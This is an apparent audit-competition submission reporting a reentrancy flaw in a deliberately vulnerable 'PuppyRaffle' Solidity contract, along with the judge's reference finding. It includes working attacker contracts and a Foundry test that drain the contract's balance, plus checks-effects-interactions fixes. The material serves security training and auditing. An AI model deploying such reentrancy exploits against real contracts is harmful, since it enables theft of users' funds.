Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

High-Risk Reentrancy in PuppyRaffle Refund Mechanism

Reentrancy Vulnerability in refund() Function

Description

  • Normal behaviour: Players can enter the raffle by paying the entrance fee. They can request a refund for their ticket by calling the refund function.

  • Issue: The refund function sends Ether to the caller before marking the player as refunded. This allows a malicious contract to recursively call refund multiple times, draining multiple tickets or affecting the raffle state.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); //! @> REENTRANCY POSSIBLE
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High

  • The function is public and callable by any player.

  • Ether transfer happens before updating the state, making it easy to trigger recursive calls with a malicious contract.

Impact: High

  • Funds in the raffle contract can be drained by an attacker.

  • The raffle state may be corrupted, leaving “blank spots” or enabling multiple refunds.

Proof of Concept

pragma solidity ^0.7.6;
import "./PuppyRaffle.sol";
contract Attacker {
PuppyRaffle public raffle;
uint256 public index;
uint256 public enteranceFee;
constructor(address _raffle, uint256 _fee) {
raffle = PuppyRaffle(_raffle);
enteranceFee = _fee;
}
function attack() external payable {
raffle.refund(index);
}
function setIndex(uint256 _index) public {
index = _index;
}
receive() external payable {
if (address(raffle).balance >= enteranceFee) {
raffle.refund(index);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {PuppyRaffle} from "src/PuppyRaffle.sol";
import {Attacker} from "src/Attacker.sol";
contract MyTest is Test {
PuppyRaffle puppyRaffle;
Attacker attacker;
uint256 entranceFee = 1e18;
address playerOne = address(1);
address playerTwo = address(2);
address playerThree = address(3);
address playerFour = address(4);
address feeAddress = address(99);
uint256 duration = 1 days;
function setUp() public {
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attacker = new Attacker(address(puppyRaffle), entranceFee);
}
function test_reentrancyAttack() public {
address[] memory players = new address[](3);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = address(attacker);
vm.deal(address(attacker), 100 ether);
vm.startPrank(address(attacker));
puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
uint256 attackerIndex = puppyRaffle.getActivePlayerIndex(address(attacker));
console.log(attackerIndex);
attacker.setIndex(attackerIndex);
attacker.attack();
console.log(address(puppyRaffle).balance);
vm.stopPrank();
assertEq(address(puppyRaffle).balance, 0);
}
}

Recommended Mitigation

Update state before sending Ether to prevent reentrancy attacks. By marking the player as refunded first, any recursive call will fail the require check, stopping multiple withdrawals. This follows the checks-effects-interactions pattern, a Solidity best practice.

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0); // update state first to mark player as refunded
+ payable(msg.sender).sendValue(entranceFee); // then send Ether safely
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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